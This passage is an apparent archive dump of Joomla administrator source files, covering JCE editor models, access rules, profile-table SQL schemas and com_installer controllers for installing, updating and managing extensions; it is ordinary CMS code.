            foreach ($values as $value) {
                $tmp = $this->getOptionFromValue($value);
                $tmp->checked = true;

                $custom[] = $tmp;
            }

            // add default options not checked to the end of the options array
            foreach ($options as $option) {
                if (!in_array($option->value, $values)) {
                    $custom[] = $option;
                }
            }

            return $custom;
        }

        return $options;
    }
}
com_jce/models/fields/users.php000060400000006475152455305310012561 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Field\UserField;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Table\Table;

/**
 * Field to select a user ID from a modal list.
 *
 * @since  1.6
 */
class JFormFieldUsers extends UserField
{
    /**
     * The form field type.
     *
     * @var    string
     * @since  2.7
     */
    public $type = 'Users';

    /**
     * Method to get the user field input markup.
     *
     * @return  string  The field input markup.
     *
     * @since   1.6
     */
    protected function getInput()
    {
        if (empty($this->layout)) {
            throw new \UnexpectedValueException(sprintf('%s has no layout assigned.', $this->name));
        }

        $options = $this->getOptions();

        $name = $this->name;

        // clear name
        $this->name = "";

        // set onchange to update
        $this->onchange = "(function(){WfSelectUsers();})();";

        // remove autocomplete
        $this->autocomplete = false;

        // clear value
        $this->value = "";

        $html = $this->getRenderer($this->layout)->render($this->getLayoutData());
        $html .= '<div class="users-select">';

        // add "joomla-field-fancy-select" manually for Joomla 4
        $html .= '<joomla-field-fancy-select placeholder="...">';
        $html .= '<select name="' . $name . '" id="' . $this->id . '_select" class="custom-select" data-placeholder="..." multiple>';

        foreach ($options as $option) {
            $html .= '<option value="' . $option->value . '" selected>' . $option->text . '</option>';
        }

        $html .= '</select>';
        $html .= '</joomla-field-fancy-select>';
        $html .= '</div>';

        return $html;

    }

    /**
     * Allow to override renderer include paths in child fields
     *
     * @return  array
     *
     * @since   3.5
     */
    protected function getLayoutPaths()
    {
        return array(JPATH_ADMINISTRATOR . '/components/com_jce/layouts', JPATH_SITE . '/layouts');
    }

    /**
     * Method to get the field options.
     *
     * @return array The field option objects
     *
     * @since   11.1
     */
    protected function getOptions()
    {
        $options = array();

        if (empty($this->value)) {
            return $options;
        }

        $fieldname = preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname);
        $table = Table::getInstance('user');

        // clean value
        $this->value = str_replace('"', '', $this->value);

        foreach (explode(',', $this->value) as $id) {
            if (empty($id)) {
                continue;
            }

            if ($table->load((int) $id)) {
                $text = htmlspecialchars($table->name, ENT_COMPAT, 'UTF-8');
                $text = Text::alt($text, $fieldname);

                $tmp = array(
                    'value' => $id,
                    'text' => $text,
                );

                // Add the option object to the result set.
                $options[] = (object) $tmp;
            }
        }

        return $options;
    }
}
com_jce/models/browser.php000060400000002534152455305310011625 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright     Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;

require_once JPATH_ADMINISTRATOR . '/components/com_jce/helpers/browser.php';

class JceModelBrowser extends BaseDatabaseModel
{
    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @since   1.6
     */
    protected function populateState($ordering = null, $direction = null)
    {
        $app = Factory::getApplication();

        $mediatype  = $app->input->getCmd('mediatype', '');
        $folder     = $app->input->getPath('folder', '');

        $options = array();

        if ($folder) {
            $options['folder'] = $folder;
        }

        $url = WfBrowserHelper::getBrowserLink(null, $mediatype, '', $options);

        if (empty($url)) {
            $app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error');
            $app->redirect('index.php?option=com_jce');
        }

        $this->setState('url', $url);
    }
}
com_jce/models/help.xml000060400000000255152455305310011101 0ustar00<?xml version="1.0" encoding="utf-8"?>
<help>
	<topic key="admin.about" title="WF_HELP_ADMINISTRATION" />
	<topic key="admin.interface" title="WF_HELP_INTERFACE" />
</help>
com_jce/models/cpanel.php000060400000010346152455305310011404 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright     Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;
use Joomla\CMS\Plugin\PluginHelper;

require_once JPATH_ADMINISTRATOR . '/components/com_jce/includes/constants.php';

class JceModelCpanel extends BaseDatabaseModel
{
    public function getIcons()
    {
        $user = Factory::getUser();

        $icons = array();

        $views = array(
            'config' => 'equalizer',
            'profiles' => 'users',
            'browser' => 'picture',
            'mediabox' => 'pictures',
        );

        foreach ($views as $name => $icon) {

            // if its mediabox, check the plugin is installed and enabled
            if ($name === "mediabox" && !PluginHelper::isEnabled('system', 'jcemediabox')) {
                continue;
            }

            // check if its allowed...
            if (!$user->authorise('jce.' . $name, 'com_jce')) {
                continue;
            }

            $link = 'index.php?option=com_jce&amp;view=' . $name;
            $title = Text::_('WF_' . strtoupper($name));

            if ($name === "browser") {
                if (!PluginHelper::isEnabled('quickicon', 'jce')) {
                    continue;
                }

                $title = Text::_('WF_' . strtoupper($name) . '_TITLE');
            }

            $icons[] = '<li class="quickicon mb-3"><a title="' . Text::_('WF_' . strtoupper($name) . '_DESC') . '" href="' . $link . '" class="card btn btn-default" role="button"><div class="quickicon-icon d-flex align-items-end" role="presentation"><span class="icon-' . $icon . '" aria-hidden="true" role="presentation"></span></div><div class="quickicon-text d-flex align-items-center"><span class="j-links-link">' . $title . '</span></div></a></li>';
        }

        return $icons;
    }

    public function getFeeds()
    {
        $app = Factory::getApplication();
        $params = ComponentHelper::getParams('com_jce');
        $limit = $params->get('feed_limit', 2);

        $feeds = array();
        $options = array(
            'rssUrl' => 'https://www.joomlacontenteditor.net/news?format=feed',
        );

        $xml = simplexml_load_file($options['rssUrl']);

        if (empty($xml)) {
            return $feeds;
        }

        jimport('joomla.filter.input');
        $filter = InputFilter::getInstance();

        $count = count($xml->channel->item);

        if ($count) {
            $count = ($count > $limit) ? $limit : $count;

            for ($i = 0; $i < $count; ++$i) {
                $feed = new StdClass();
                $item = $xml->channel->item[$i];

                $link = (string) $item->link;
                $feed->link = htmlspecialchars($filter->clean($link));

                $title = (string) $item->title;
                $feed->title = htmlspecialchars($filter->clean($title));

                $description = (string) $item->description;
                $feed->description = htmlspecialchars($filter->clean($description));

                $feeds[] = $feed;
            }
        }

        return $feeds;
    }

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @since   1.6
     */
    protected function populateState($ordering = null, $direction = null)
    {
        $licence = "";
        $version = "";

        if ($xml = simplexml_load_file(JPATH_ADMINISTRATOR . '/components/com_jce/jce.xml')) {
            $licence = (string) $xml->license;
            $version = (string) $xml->version;

            if (PluginHelper::isEnabled('system', 'jcepro')) {
                $version = '<span class="badge badge-info badge-primary bg-primary">Pro</span>&nbsp;' . $version;

                $this->setState('pro', 1);
            }
        }

        $this->setState('version', $version);
        $this->setState('licence', $licence);
    }
}
com_jce/models/help.php000060400000013213152455305310011066 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;
use Joomla\CMS\Plugin\PluginHelper;

class JceModelHelp extends BaseDatabaseModel
{
    public function getLanguage()
    {
        $language = Factory::getLanguage();
        $tag = $language->getTag();

        return substr($tag, 0, strpos($tag, '-'));
    }

    public function getTopics($file)
    {
        $result = '';

        if (file_exists($file)) {
            // load xml
            $xml = simplexml_load_file($file);

            if ($xml) {
                foreach ($xml->help->children() as $topic) {
                    $subtopics = $topic->subtopic;
                    $class = count($subtopics) ? 'subtopics' : '';

                    $key = (string) $topic->attributes()->key;
                    $title = (string) $topic->attributes()->title;
                    $file = (string) $topic->attributes()->file;

                    // if file attribute load file
                    if ($file) {
                        $result .= $this->getTopics(JPATH_SITE . '/components/com_jce/editor/' . $file);
                    } else {
                        $result .= '<li id="' . $key . '" class="nav-item ' . $class . '"><a href="#" class="nav-link"><i class="icon-copy"></i>&nbsp;' . trim(Text::_($title)) . '</a>';
                    }

                    if (count($subtopics)) {
                        $result .= '<ul class="nav nav-list hidden">';
                        foreach ($subtopics as $subtopic) {
                            $sub_subtopics = $subtopic->subtopic;

                            // if a file is set load it as sub-subtopics
                            if ($file = (string) $subtopic->attributes()->file) {
                                $result .= '<li class="nav-item subtopics"><a href="#" class="nav-link"><i class="icon-file"></i>&nbsp;' . trim(Text::_((string) $subtopic->attributes()->title)) . '</a>';
                                $result .= '<ul class="nav nav-list hidden">';
                                $result .= $this->getTopics(JPATH_SITE . '/components/com_jce/editor/' . $file);
                                $result .= '</ul>';
                                $result .= '</li>';
                            } else {
                                $id = $subtopic->attributes()->key ? ' id="' . (string) $subtopic->attributes()->key . '"' : '';

                                $class = count($sub_subtopics) ? ' class="nav-item subtopics"' : '';
                                $result .= '<li' . $class . $id . '><a href="#" class="nav-link"><i class="icon-file"></i>&nbsp;' . trim(Text::_((string) $subtopic->attributes()->title)) . '</a>';

                                if (count($sub_subtopics)) {
                                    $result .= '<ul class="nav nav-list hidden">';
                                    foreach ($sub_subtopics as $sub_subtopic) {
                                        $result .= '<li id="' . (string) $sub_subtopic->attributes()->key . '" class="nav-item"><a href="#" class="nav-link"><i class="icon-file"></i>&nbsp;' . trim(Text::_((string) $sub_subtopic->attributes()->title)) . '</a></li>';
                                    }
                                    $result .= '</ul>';
                                }

                                $result .= '</li>';
                            }
                        }
                        $result .= '</ul>';
                    }
                }
            }
        }

        return $result;
    }

    /**
     * Returns a formatted list of help topics.
     *
     * @return string
     *
     * @since 1.5
     */
    public function renderTopics()
    {
        $app = Factory::getApplication();

        $section = $app->input->getWord('section', 'admin');
        $category = $app->input->getWord('category', 'cpanel');

        $document = Factory::getDocument();
        $language = Factory::getLanguage();

        $language->load('com_jce', JPATH_SITE);
        $language->load('com_jce_pro', JPATH_SITE);

        $document->setTitle(Text::_('WF_HELP') . ' : ' . Text::_('WF_' . strtoupper($category) . '_TITLE'));

        switch ($section) {
            case 'admin':
                $file = __DIR__ . '/' . $category . '.xml';
                break;
            case 'editor':
                $file = JPATH_SITE . '/components/com_jce/editor/tiny_mce/plugins/' . $category . '/' . $category . '.xml';

                // check for installed plugin
                $plugin = PluginHelper::getPlugin('jce', 'editor-' . $category);

                if ($plugin) {
                    $file = JPATH_PLUGINS . '/jce/editor-' . $category . '/editor-' . $category . '.xml';
                    $language->load('plg_jce_editor_' . $category, JPATH_ADMINISTRATOR);
                }

                if (!is_file($file)) {
                    $file = JPATH_SITE . '/components/com_jce/editor/libraries/xml/help/editor.xml';
                } else {
                    $language->load('WF_' . $category, JPATH_SITE);
                }
                break;
        }

        $result = '';

        $result .= '<ul class="nav nav-list" id="help-menu"><li class="nav-header">' . Text::_('WF_' . strtoupper($category) . '_TITLE') . '</li>';
        $result .= $this->getTopics($file);
        $result .= '</ul>';

        return $result;
    }
}
com_jce/access.xml000060400000001443152455305310010127 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<access component="com_jce">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="jce.config" title="WF_ACTION_CONFIG" description="WF_ACTION_CONFIG_DESC" />
		<action name="jce.profiles" title="WF_ACTION_PROFILES" description="WF_ACTION_PROFILES_DESC" />
		<action name="jce.preferences" title="WF_ACTION_PREFERENCES" description="WF_ACTION_PREFERENCES_DESC" />
		<action name="jce.browser" title="WF_ACTION_BROWSER" description="WF_ACTION_BROWSER_DESC" />
		<action name="jce.mediabox" title="WF_ACTION_MEDIABOX" description="WF_ACTION_MEDIABOX_DESC" />
	</section>
</access>com_jce/sql/mysql.sql000060400000001117152455305310010627 0ustar00CREATE TABLE IF NOT EXISTS `#__wf_profiles` (
    `id` int(11) NOT NULL AUTO_INCREMENT,
    `name` varchar(255) NOT NULL,
    `description` text NOT NULL,
    `users` text NOT NULL,
    `types` text NOT NULL,
    `components` text NOT NULL,
    `area` tinyint(3) NOT NULL,
    `device` varchar(255) NOT NULL,
    `rows` text NOT NULL,
    `plugins` text NOT NULL,
    `published` tinyint(3) NOT NULL,
    `ordering` int(11) NOT NULL,
    `checked_out` int unsigned,
    `checked_out_time` datetime NULL DEFAULT NULL,
    `params` text NOT NULL,
    PRIMARY KEY (`id`)
) DEFAULT CHARSET=utf8;com_jce/sql/index.html000060400000000054152455305310010735 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/sql/sqlsrv.sql000060400000001425152455305310011016 0ustar00IF NOT EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[#__wf_profiles]') AND type in (N'U'))
BEGIN
CREATE TABLE [#__wf_profiles](
	[id] [bigint] IDENTITY(1,1) NOT NULL,
	[name] [nvarchar](250) NOT NULL,
	[description] [text] NOT NULL,
	[users] [text] NOT NULL,
	[types] [text] NOT NULL,
	[components] [nvarchar](max) NOT NULL,
	[area] [smallint] NOT NULL,
    [device] [nvarchar](250) NOT NULL,
	[rows] [nvarchar](max) NOT NULL,
	[plugins] [nvarchar](max) NOT NULL,
	[published] [smallint] NOT NULL,
	[ordering] [int] NOT NULL,
	[checked_out] [int] NOT NULL,
	[checked_out_time] [datetime] NOT NULL,
	[params] [nvarchar](max) NOT NULL,
 CONSTRAINT [PK_#__wf_profiles_id] PRIMARY KEY CLUSTERED 
(
	[id] ASC
)WITH (STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF)
)
END;com_jce/sql/postgresql.sql000060400000001057152455305310011670 0ustar00CREATE TABLE IF NOT EXISTS "#__wf_profiles" (
    "id" integer GENERATED BY DEFAULT AS IDENTITY PRIMARY KEY,
    "name" varchar(255) NOT NULL,
    "description" text NOT NULL,
    "users" text NOT NULL,
    "types" text NOT NULL,
    "components" text NOT NULL,
    "area" smallint NOT NULL,
    "device" varchar(255) NOT NULL,
    "rows" text NOT NULL,
    "plugins" text NOT NULL,
    "published" smallint NOT NULL,
    "ordering" integer NOT NULL,
    "checked_out" integer,
    "checked_out_time" timestamp without time zone,
    "params" text NOT NULL
);com_installer/installer.xml000060400000001762152455305310012123 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_installer</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_INSTALLER_XML_DESCRIPTION</description>
	<administration>
		<files folder="admin">
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<filename>installer.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_installer.ini</language>
			<language tag="en-GB">language/en-GB.com_installer.sys.ini</language>
		</languages>
	</administration>
</extension>

com_installer/installer.php000060400000001134152455305310012103 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
JHtml::_('behavior.tabstate');

if (!JFactory::getUser()->authorise('core.manage', 'com_installer'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$controller = JControllerLegacy::getInstance('Installer');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_installer/controllers/updatesites.php000060400000005743152455305310015020 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Installer Update Sites Controller
 *
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 * @since       3.4
 */
class InstallerControllerUpdatesites extends JControllerLegacy
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   3.4
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);

		$this->registerTask('unpublish', 'publish');
		$this->registerTask('publish',   'publish');
		$this->registerTask('delete',    'delete');
		$this->registerTask('rebuild',   'rebuild');
	}

	/**
	 * Enable/Disable an extension (if supported).
	 *
	 * @return  void
	 *
	 * @since   3.4
	 *
	 * @throws  Exception on error
	 */
	public function publish()
	{
		// Check for request forgeries.
		$this->checkToken();

		$ids    = (array) $this->input->get('cid', array(), 'int');
		$values = array('publish' => 1, 'unpublish' => 0);
		$task   = $this->getTask();
		$value  = ArrayHelper::getValue($values, $task, 0, 'int');

		// Remove zero values resulting from input filter
		$ids = array_filter($ids);

		if (empty($ids))
		{
			throw new Exception(JText::_('COM_INSTALLER_ERROR_NO_UPDATESITES_SELECTED'), 500);
		}

		// Get the model.
		$model = $this->getModel('Updatesites');

		// Change the state of the records.
		if (!$model->publish($ids, $value))
		{
			throw new Exception(implode('<br />', $model->getErrors()), 500);
		}

		$ntext = ($value == 0) ? 'COM_INSTALLER_N_UPDATESITES_UNPUBLISHED' : 'COM_INSTALLER_N_UPDATESITES_PUBLISHED';

		$this->setMessage(JText::plural($ntext, count($ids)));

		$this->setRedirect(JRoute::_('index.php?option=com_installer&view=updatesites', false));
	}

	/**
	 * Deletes an update site (if supported).
	 *
	 * @return  void
	 *
	 * @since   3.6
	 *
	 * @throws  Exception on error
	 */
	public function delete()
	{
		// Check for request forgeries.
		$this->checkToken();

		$ids = (array) $this->input->get('cid', array(), 'int');

		// Remove zero values resulting from input filter
		$ids = array_filter($ids);

		if (empty($ids))
		{
			throw new Exception(JText::_('COM_INSTALLER_ERROR_NO_UPDATESITES_SELECTED'), 500);
		}

		// Delete the records.
		$this->getModel('Updatesites')->delete($ids);

		$this->setRedirect(JRoute::_('index.php?option=com_installer&view=updatesites', false));
	}

	/**
	 * Rebuild update sites tables.
	 *
	 * @return  void
	 *
	 * @since   3.6
	 */
	public function rebuild()
	{
		// Check for request forgeries.
		$this->checkToken();

		// Rebuild the update sites.
		$this->getModel('Updatesites')->rebuild();

		$this->setRedirect(JRoute::_('index.php?option=com_installer&view=updatesites', false));
	}
}
com_installer/controllers/discover.php000060400000002435152455305310014277 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Discover Installation Controller
 *
 * @since  1.6
 */
class InstallerControllerDiscover extends JControllerLegacy
{
	/**
	 * Refreshes the cache of discovered extensions.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function refresh()
	{
		$this->checkToken();

		$model = $this->getModel('discover');
		$model->discover();
		$this->setRedirect(JRoute::_('index.php?option=com_installer&view=discover', false));
	}

	/**
	 * Install a discovered extension.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function install()
	{
		$this->checkToken();

		$this->getModel('discover')->discover_install();
		$this->setRedirect(JRoute::_('index.php?option=com_installer&view=discover', false));
	}

	/**
	 * Clean out the discovered extension cache.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function purge()
	{
		$this->checkToken();

		$model = $this->getModel('discover');
		$model->purge();
		$this->setRedirect(JRoute::_('index.php?option=com_installer&view=discover', false), $model->_message);
	}
}
com_installer/controllers/install.php000060400000005133152455305310014125 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Installer controller for Joomla! installer class.
 *
 * @since  1.5
 */
class InstallerControllerInstall extends JControllerLegacy
{
	/**
	 * Install an extension.
	 *
	 * @return  boolean
	 *
	 * @since   1.5
	 */
	public function install()
	{
		// Check for request forgeries.
		$this->checkToken();

		if (!JFactory::getUser()->authorise('core.admin'))
		{
			throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
		}

		/** @var InstallerModelInstall $model */
		$model = $this->getModel('install');

		// TODO: Reset the users acl here as well to kill off any missing bits.
		$result = $model->install();

		$app = JFactory::getApplication();
		$redirect_url = $app->getUserState('com_installer.redirect_url');

		if (!$redirect_url)
		{
			$redirect_url = base64_decode($app->input->get('return', null, 'BASE64'));
		}

		// Don't redirect to an external URL.
		if (!JUri::isInternal($redirect_url))
		{
			$redirect_url = '';
		}

		if (empty($redirect_url))
		{
			$redirect_url = JRoute::_('index.php?option=com_installer&view=install', false);
		}
		else
		{
			// Wipe out the user state when we're going to redirect.
			$app->setUserState('com_installer.redirect_url', '');
			$app->setUserState('com_installer.message', '');
			$app->setUserState('com_installer.extension_message', '');
		}

		$this->setRedirect($redirect_url);

		return $result;
	}

	/**
	 * Install an extension from drag & drop ajax upload.
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	public function ajax_upload()
	{
		// Check for request forgeries.
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		if (!JFactory::getUser()->authorise('core.admin'))
		{
			throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
		}

		$app = JFactory::getApplication();
		$message = $app->getUserState('com_installer.message');

		// Do install
		$result = $this->install();

		// Get redirect URL
		$redirect = $this->redirect;

		// Push message queue to session because we will redirect page by Javascript, not $app->redirect().
		// The "application.queue" is only set in redirect() method, so we must manually store it.
		$app->getSession()->set('application.queue', $app->getMessageQueue());

		header('Content-Type: application/json');

		echo new JResponseJson(array('redirect' => $redirect), $message, !$result);

		exit();
	}
}
com_installer/controllers/update.php000060400000011347152455305310013745 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Installer Update Controller
 *
 * @since  1.6
 */
class InstallerControllerUpdate extends JControllerLegacy
{
	/**
	 * Update a set of extensions.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function update()
	{
		// Check for request forgeries.
		$this->checkToken();

		/** @var InstallerModelUpdate $model */
		$model = $this->getModel('update');
		$uid   = (array) $this->input->get('cid', array(), 'int');

		// Remove zero values resulting from input filter
		$uid = array_filter($uid);

		// Get the minimum stability.
		$component     = JComponentHelper::getComponent('com_installer');
		$params        = $component->params;
		$minimum_stability = (int) $params->get('minimum_stability', JUpdater::STABILITY_STABLE);

		$model->update($uid, $minimum_stability);

		$app          = JFactory::getApplication();
		$redirect_url = $app->getUserState('com_installer.redirect_url');

		// Don't redirect to an external URL.
		if (!JUri::isInternal($redirect_url))
		{
			$redirect_url = '';
		}

		if (empty($redirect_url))
		{
			$redirect_url = JRoute::_('index.php?option=com_installer&view=update', false);
		}
		else
		{
			// Wipe out the user state when we're going to redirect.
			$app->setUserState('com_installer.redirect_url', '');
			$app->setUserState('com_installer.message', '');
			$app->setUserState('com_installer.extension_message', '');
		}

		$this->setRedirect($redirect_url);
	}

	/**
	 * Find new updates.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function find()
	{
		$this->checkToken('request');

		// Get the caching duration.
		$component     = JComponentHelper::getComponent('com_installer');
		$params        = $component->params;
		$cache_timeout = (int) $params->get('cachetimeout', 6);
		$cache_timeout = 3600 * $cache_timeout;

		// Get the minimum stability.
		$minimum_stability = (int) $params->get('minimum_stability', JUpdater::STABILITY_STABLE);

		// Find updates.
		/** @var InstallerModelUpdate $model */
		$model = $this->getModel('update');

		$disabledUpdateSites = $model->getDisabledUpdateSites();

		if ($disabledUpdateSites)
		{
			$updateSitesUrl = JRoute::_('index.php?option=com_installer&view=updatesites');
			$this->setMessage(JText::sprintf('COM_INSTALLER_MSG_UPDATE_SITES_COUNT_CHECK', $updateSitesUrl), 'warning');
		}

		$model->findUpdates(0, $cache_timeout, $minimum_stability);
		$this->setRedirect(JRoute::_('index.php?option=com_installer&view=update', false));
	}

	/**
	 * Purges updates.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function purge()
	{
		// Check for request forgeries.
		$this->checkToken();

		$model = $this->getModel('update');
		$model->purge();

		/**
		 * We no longer need to enable update sites in Joomla! 3.4 as we now allow the users to manage update sites
		 * themselves.
		 * $model->enableSites();
		 */

		$this->setRedirect(JRoute::_('index.php?option=com_installer&view=update', false), $model->_message);
	}

	/**
	 * Fetch and report updates in JSON format, for AJAX requests
	 *
	 * @return void
	 *
	 * @since 2.5
	 */
	public function ajax()
	{
		$app = JFactory::getApplication();

		if (!JSession::checkToken('get'))
		{
			$app->setHeader('status', 403, true);
			$app->sendHeaders();
			echo JText::_('JINVALID_TOKEN_NOTICE');
			$app->close();
		}

		$eid               = $this->input->getInt('eid', 0);
		$skip              = $this->input->get('skip', array(), 'array');
		$cache_timeout     = $this->input->getInt('cache_timeout', 0);
		$minimum_stability = $this->input->getInt('minimum_stability', -1);

		$component     = JComponentHelper::getComponent('com_installer');
		$params        = $component->params;

		if ($cache_timeout == 0)
		{
			$cache_timeout = (int) $params->get('cachetimeout', 6);
			$cache_timeout = 3600 * $cache_timeout;
		}

		if ($minimum_stability < 0)
		{
			$minimum_stability = (int) $params->get('minimum_stability', JUpdater::STABILITY_STABLE);
		}

		/** @var InstallerModelUpdate $model */
		$model = $this->getModel('update');
		$model->findUpdates($eid, $cache_timeout, $minimum_stability);

		$model->setState('list.start', 0);
		$model->setState('list.limit', 0);

		if ($eid != 0)
		{
			$model->setState('filter.extension_id', $eid);
		}

		$updates = $model->getItems();

		if (!empty($skip))
		{
			$unfiltered_updates = $updates;
			$updates            = array();

			foreach ($unfiltered_updates as $update)
			{
				if (!in_array($update->extension_id, $skip))
				{
					$updates[] = $update;
				}
			}
		}

		echo json_encode($updates);

		$app->close();
	}
}
com_installer/controllers/database.php000060400000002121152455305310014215 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Installer Database Controller
 *
 * @since  2.5
 */
class InstallerControllerDatabase extends JControllerLegacy
{
	/**
	 * Tries to fix missing database updates
	 *
	 * @return  void
	 *
	 * @since   2.5
	 * @todo    Purge updates has to be replaced with an events system
	 */
	public function fix()
	{
		// Check for request forgeries.
		$this->checkToken();

		$model = $this->getModel('database');
		$model->fix();

		// Purge updates
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/models', 'JoomlaupdateModel');
		$updateModel = JModelLegacy::getInstance('default', 'JoomlaupdateModel');
		$updateModel->purge();

		// Refresh versionable assets cache
		JFactory::getApplication()->flushAssets();

		$this->setRedirect(JRoute::_('index.php?option=com_installer&view=database', false));
	}
}
com_installer/controllers/manage.php000060400000006150152455305310013707 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Installer Manage Controller
 *
 * @since  1.6
 */
class InstallerControllerManage extends JControllerLegacy
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);

		$this->registerTask('unpublish', 'publish');
		$this->registerTask('publish',   'publish');
	}

	/**
	 * Enable/Disable an extension (if supported).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function publish()
	{
		// Check for request forgeries.
		$this->checkToken();

		$ids    = (array) $this->input->get('cid', array(), 'int');
		$values = array('publish' => 1, 'unpublish' => 0);
		$task   = $this->getTask();
		$value  = ArrayHelper::getValue($values, $task, 0, 'int');

		// Remove zero values resulting from input filter
		$ids = array_filter($ids);

		if (empty($ids))
		{
			JError::raiseWarning(500, JText::_('COM_INSTALLER_ERROR_NO_EXTENSIONS_SELECTED'));
		}
		else
		{
			// Get the model.
			/** @var InstallerModelManage $model */
			$model = $this->getModel('manage');

			// Change the state of the records.
